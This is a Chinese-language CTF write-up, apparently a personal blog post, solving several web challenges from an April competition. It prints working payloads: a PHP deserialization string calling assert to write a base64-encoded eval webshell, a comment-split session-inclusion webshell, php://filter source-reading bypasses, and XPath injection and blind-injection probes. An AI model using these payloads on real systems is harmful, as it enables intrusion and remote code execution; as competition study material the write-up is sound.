上周二结束的比赛,结束后忙着其他事,没来得及复现,时间隔得有点长了


一开始说好的“萌新赛”呢,结果校外通道把 “萌新们” 骗进来杀,夂我是没想到的😑,西北工业大学的师傅们出的题太顶了

隔壁🐅符直呼内行,这边 NPU 不知所措 → 菜B web🐕现状

但是 u1s1,还是感谢师傅们的题目,又学到了许多;参考文章:

同时也感谢赵总给的复现机会,这次的安恒四月赛 web 题目质量拉满👍


1.查源码:

感谢师傅们给的最后一条活路;view-source 直接带走

2.RealEzphp

简单的反序列化代码审计,u1s1,这次传🐎 bypass 的题目挺多的

表面上什么也没有

其实 F12 后就出来了一个可跳转地址,点进去,源代码放送

反序列化的操作,主要的点在于最后的 echo $b($a); 这里应该可以任意发挥了

第一反应是很像之前的命令执行的一个常见套路:$_POST[_]($_POST[__]) 然后 &_=assert;&__=phpinfo()

这里其实也可以的,直接构造:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

第一发打通了,后面就好说了(👟👆➖条不🐢🦌),查一下禁用了哪些函数


其实再往下翻就有惊喜(后来知道结果的我人都傻了)


后面可以写一个小马,通过 file_put_contents() 传上去,但是直接写🐎过不去,需要借助一下 base64 编码

?data=O:8:"HelloPhp":2:{s:1:"a";s:85:"eval("file_put_contents('a.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7'));")";s:1:"b";s:6:"assert";}

蚁剑连上去后发现没权限,用一下自带插件一🗡绕过

这是个假的……然后就回到前面说的,在环境变量里放着 flag

后来看师傅们的 wp,也可以利用 error_log LD bypass


我个人感觉还有一个点要注意,做题的时候想到了之前的 eval 和 assert 两个的区别,又回看了一下 Smi1e 师傅的文章(《浅谈eval和assert》),还有就是之前写命令执行部分的时候忘了汇总几个命令执行和代码执行函数,我感觉还是要手动试一下,不然确实有点懵,后面再补上😶


3.超简单的PHP

这题当时没怎么看,源码找出来就没管了……

BUU 上好像也木得,脑补一下吧😓

尝试利用 action 和伪协议读一下源码

可以利用,把 msg.php 和 index.bak.php 都读了

index.bak.php

<?php 
session_start();
if(isset($_GET['action'])){
    include $_GET['action'];
    exit();
} else {
    header("location:./index.bak.php?action=message.php");
}
msg.php

<?php 
header('content-type:application/json');
session_start();
function safe($msg){
    if (strlen($msg)>17){
        return "msg is too loooong!";
    } else {
        return preg_replace("/php/","?",$msg);
    }
}

if (!isset($_SESSION['msg'])&empty($_SESSION['msg']))$_SESSION['msg'] = array();

if (isset($_POST['msg']))
{
    
    array_push($_SESSION['msg'], ['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]);
    echo json_encode(array(['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]));
    exit();
}
if(!empty($_SESSION['msg'])){
        echo json_encode($_SESSION['msg']);
} else {echo "还不快去留言!";}
?>

自定义了一个 safe() 用于留言的长度检测和 php 字符的过滤,但是过滤没有加 i ,所以可以利用大小写绕过;同时留言的东西会写入 session,所以可以利用写入一句话然后 session 文件包含

由于长度限制,所以可以通过添加注释符,多次写入

<?PHP  /*
*/eval/*
*/($_GET[cmd]);#

包含后蚁剑直接连 bypass

还有师傅使用 base64 加数组直接绕过(可参考 https://github.com/sqxssss/NPUCTF_WriteUps/blob/master/npuctf_wp_by_star.md

4.Ezinclude

根据提示应该是要 hash 长度扩展攻击 hashpump,看了 wp 预期解是爆破 secret 长度脚本或手工,真没看明白怎么做的;非预期解是随意传一个 name 和 pass,然后把 cookie 复制到 pass 里即可绕过

直接跳 404,应该还有东西,抓包看一下:

提示了 flflflflag.php,再抓一下:

有个文件包含,尝试伪协议读取,/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

包含了 config.php,看一下,没什么用

config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

再看一下 flflflflag.php

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

这样来看好像没什么有用的信息,只不过就是 $file 里过滤了三个协议,开个目录扫描,可以扫到 dir.php

dir.php

<?php
var_dump(scandir('/tmp'));
?>

然后就又不知道该怎么做了……

看了一下 wp,有个 “php7 segment fault 特性”,关于 PHP 对于临时文件的处理机制,《PHP临时文件机制与利用的思考》 这篇文章介绍的很详细,借用一下师傅的解释:

“本地文件包含可以让 php 包含自身从而导致死循环,然后 php 守护进程产生内存溢出,然后 php 会崩溃,php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转的同时,打断了 php 对临时文件的处理,在这个时候对任一 php 文件进行 post 文件请求,临时文件就会被保留”

摘自《PHP临时文件机制与利用的思考》

所以只要包含未被删除的临时文件,就可以 getshell

对于这道题目而言,wp 中给出了利用 php://filter/string.strip_tags 造成崩溃。在含有文件包含漏洞的地方,使用 php://filter/string.strip_tags 导致 php 崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个 tmp file 就会一直留在 tmp 目录,再进行文件名爆破就可以 getshell

5.Ezlogin

XPath🐖入,u1s1,这东西只在《Web黑客攻防基础》里面见到过,做过的题目里从未出现过;先了解一下什么是 XPath 注入(参考文章: XPath 注入指北

在菜鸟教程里有相关的表述:XPath 教程

XPath 基于 XML,使用路径表达式来选取 XML 文档中的节点或节点集;

基础的路径表达式:

  • nodename => bookstore 选取 bookstore 元素的所有子节点
  • / => /bookstore 选取根元素 bookstore;bookstore/book 选取属于 bookstore 的子元素的所有 book 元素
  • // => //bookstore 选取所有 book 子元素,而不管它们在文档中的位置
  • . => 选取当前节点
  • .. => 选取当前节点的父节点。
  • @ => 选取属性

再通过添加合适的谓语即可选取或查找某个指定内容的节点

还有一些基础的函数

摘自 Tr0y 师傅的《 XPath 注入指北 》

XPath 注入分为两类,常规注入和盲注入

先看常规注入:以下代码片段来自《注入指北》

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
</root>

给出的 index.php 里主要查询语句在:

index.php

...
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
...

对于平常的 SQL 注入语句,select * from users where username = '$name' limit 0,1,我们知道这是单引号闭合注入,可以通过 admin' or '1' = '1 来变相闭合完成注入,那么在这里的查询语句也是一样的思路,通过输入 admin' or '1 完成注入,如果不知道用户名,可以通过输入 ' or 1 or '1 查询出来所有的用户名

除此之外还有一个节点遍历的 payload:admin'] | //* | //*[' ,同样可以起到万能密码的效果;此外,由于 XPath 中没有注释,所以要精巧地闭合语句

对于上面的查询来讲,查询到的结果有限,只是返回了 id 和 username,那么如果节点的名字不是这两个,就会返回空数据,所以需要利用布尔盲注入

和 SQL 的布尔盲注入原理基本类似:

  • ' or count(/)=$a or '1 通过不断改变 $a 的值和回显来判断有几个根节点;
  • ' or string-length(name(/*[1]))=$a or '1 通过不断改变 $a 的值来判断长度( * 是通配符,匹配任何节点),当然如果不只一个根节点,也要改变中括号里的值;
  • ' or substring(name(/*[1]), 1, 1)='a' or '1 遍历 ASCII 字符来确定根节点的名字

了解了基本原理后,再看一下这道题目:

假如我提交一个 admin’ or ‘1 / 111,抓包后可以看到数据被这样传送 <username>admin' or '1</username><password>111</password><token>...</token> (这里面有个登陆超时校验 token),现在需要先找到根节点

提示非法操作,一开始以为是有黑名单检测,后来才知道 “非法操作” 就是 True,“用户名或密码错误” 就是 False

然后其实就可以脚本跑了,但是这里有个 token 的限制,可以通过正则匹配

最后通过 python 脚本可以知道以下内容:

  • 根节点为 root
  • 节点路径为 root/accounts/user
  • user 下有三个节点:id,username,password
  • user[1] 为 guest;user[2] 为 adm1n
  • password[2] 为 cf7414b5bdb2e65ee43083f4ddbc4d9f

password 应该是经过了 md5 加密处理,解一下码,得到 gtfly123

登陆成功后,查看源码(这前端i了i了):

解一下🐎:flag is in /flag

应该是要伪协议读取,试了一下:

八成是存在黑名单检测,”php” 肯定是一个点,另外的fuzz了一下,确定还有 “filter” “read” “base”,最后大小写绕过即可:?file=Php://Filter/Read=convert.Base64-encode/resource=/flag


前五道web就先到这里,后面还有一些写到后面的文章里,一方面题目确实很顶,很多;另一方面最近事有点多😐,该复习备考了


0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注